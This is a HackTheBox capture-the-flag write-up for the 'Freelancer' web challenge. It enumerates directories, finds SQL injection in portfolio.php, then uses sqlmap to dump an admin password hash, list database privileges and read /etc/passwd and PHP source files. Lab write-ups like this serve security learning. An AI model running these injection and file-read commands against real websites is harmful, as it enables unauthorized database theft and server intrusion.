HackTheBox – Freelancer Write Up

Tools:

- Gobuster (Kali Linux)
- Dirb (Kali Linux)
- Sqlmap (Kali Linux)

Walkthrough:

Step	Description

1	The first step taken was to enumerate the website (http://docker.hackthebox.eu:30961) with Gobuster and Dirb.
	
	Gobuster was used with the following command "gobuster dir -w /root/Downloads/m.txt -u http://docker.hackthebox.eu:30961".
	
	Results of Gobuster are shown below:
	`===============================================================`
	`Gobuster v3.0.1`
	`by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)`
	`===============================================================`
	`[+] Url: http://docker.hackthebox.eu:30961`
	`[+] Threads: 10`
	`[+] Wordlist: /root/Downloads/m.txt`
	`[+] Status codes: 200,204,301,302,307,401,403`
	`[+] User Agent: gobuster/3.0.1`
	`[+] Timeout: 10s`
	`===============================================================`
	`2020/02/09 20:21:51 Starting gobuster`
	`===============================================================`
	`/img (Status: 301)`
	`/mail (Status: 301)`
	`/css (Status: 301)`
	`/js (Status: 301)`
	`/vendor (Status: 301)`
	`/server-status (Status: 403)`

	Dirb was used with the following command "dirb http://docker.hackthebox.eu:30961". Results of Dirb are shown below: ---------- DIRB v2.22 By The Dark Raver ---------- START_TIME: Sun Feb 9 21:32:39 2020 URL_BASE: http://docker.hackthebox.eu:30961/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ---------- GENERATED WORDS: 4612 ---- Scanning URL: http://docker.hackthebox.eu:30961/ ---- ==> DIRECTORY: http://docker.hackthebox.eu:30961/administrat/ ==> DIRECTORY: http://docker.hackthebox.eu:30961/css/ + http://docker.hackthebox.eu:30961/favicon.ico (CODE:200|SIZE:32038) ==> DIRECTORY: http://docker.hackthebox.eu:30961/img/ + http://docker.hackthebox.eu:30961/index.php (CODE:200|SIZE:9541) ==> DIRECTORY: http://docker.hackthebox.eu:30961/js/ ==> DIRECTORY: http://docker.hackthebox.eu:30961/mail/ The /administrat directory lead to a login page, but SQL injection was not possible.
2	A clue was found at the main page of "http://docker.hackthebox.eu:30961" by inspecting the source of the page. Mozilla Firefox – Right click at the page and select "Inspect Element (Q)" The discovered clue was: Portfolio 1 The reason is because the line was commented out and the link leads to "portfolio.php"
3	Upon visiting "http://docker.hackthebox.eu:30961/portfolio.php", the site only displayed an image and a lorem ipsum paragraph. The url link was modified with adding a " ' " to test if SQL injection was possible. The result of the SQL injection led to the website not displaying the paragraph text.
4	The sqlmap tool was used to perform further SQL injection attacks to the website. The sqlmap was used with the following command "sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --dump" The results of sqlmap are: [21:03:16] [INFO] fetching columns for table 'safeadmin' in database 'freelancer' [21:03:17] [INFO] fetching entries for table 'safeadmin' in database 'freelancer'

```
Database: freelancer
Table: safeadmin
[1 entry]
+----+--------------------------------------------------------------+----------+---------------------+
| id | password                                                     | username | created_at          |
+----+--------------------------------------------------------------+----------+---------------------+
| 1  | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K | safeadm  | 2019-07-16 20:25:45 |
+----+--------------------------------------------------------------+----------+---------------------+
```

The encrypted password ($2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K) and user (safeadm). However the password could not be decrypted and this led to finding another alternative to this challenge.

5 After discovering the login info, the next step was to fetch the privileges in order to view what privileges were granted.

Sqlmap was used with the following command "sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --privileges".

The results of sqlmap are:

```
[21:10:14] [INFO] fetching database users privileges
database management system users privileges:
[*] 'db_user'@'%' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
```

	privilege: REPLICATION SLAVE privilege: SELECT privilege: SHOW DATABASES privilege: SHOW VIEW privilege: SHUTDOWN privilege: SUPER privilege: TRIGGER privilege: UPDATE [*] 'root'@'localhost' (administrator) [28]: privilege: ALTER privilege: ALTER ROUTINE privilege: CREATE privilege: CREATE ROUTINE privilege: CREATE TABLESPACE privilege: CREATE TEMPORARY TABLES privilege: CREATE USER privilege: CREATE VIEW privilege: DELETE privilege: DROP privilege: EVENT privilege: EXECUTE privilege: FILE privilege: INDEX privilege: INSERT privilege: LOCK TABLES privilege: PROCESS privilege: REFERENCES privilege: RELOAD privilege: REPLICATION CLIENT privilege: REPLICATION SLAVE privilege: SELECT privilege: SHOW DATABASES privilege: SHOW VIEW privilege: SHUTDOWN privilege: SUPER privilege: TRIGGER privilege: UPDATE With FILE privileges granted, this shows that we have access to local files.
6	The first file to be fetched was “passwd” file. Sqlmap was used with the following command “sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --file-read=/etc/passwd”. The file was dump into the output folder (directory of sqlmap dump). The contents of /etc/passwd is shown below:

	root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin mysql:x:101:102:MySQL Server,,,:/nonexistent:/bin/false It can be gathered that root is the only user in the machine. .

7	The next file extracted was http://docker.hackthebox.eu:30961/administrat/index.php to view the contents of the php file.
	
	Sqlmap was used with the following command “ sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --file-read=/var/www/html/administrat/index.php”.
	
	The contents of the php file revealed that upon the user will be redirected to “panel.php” after a successful login.
	
	`<?php`
	`// Initialize the session`
	`session_start();`
	
	`// Check if the user is already logged in, if yes then redirect him to welcome page`
	`if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){`
	`  header("location: panel.php");`
	`  exit;`
	`}`

8	The "panel.php" file was fetched after discovering the user is redirected to view that page. Sqlmap was used with the following command "sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --file-read=/var/www/html/administrat/panel.php" The flag is found within the contents of "panel.php" `<h1>Hi, <b><?php echo htmlspecialchars($_SESSION["username"]); ?></b>. Welcome to our site.</h1><b><a href="logout.php">Logout</a></b>` `   ` `<h1>HTB{Please find the flag yourself ☺}</h1>` `</div>` `</body>` `</html>`

Flag is HTB{Please find the flag yourself ☺}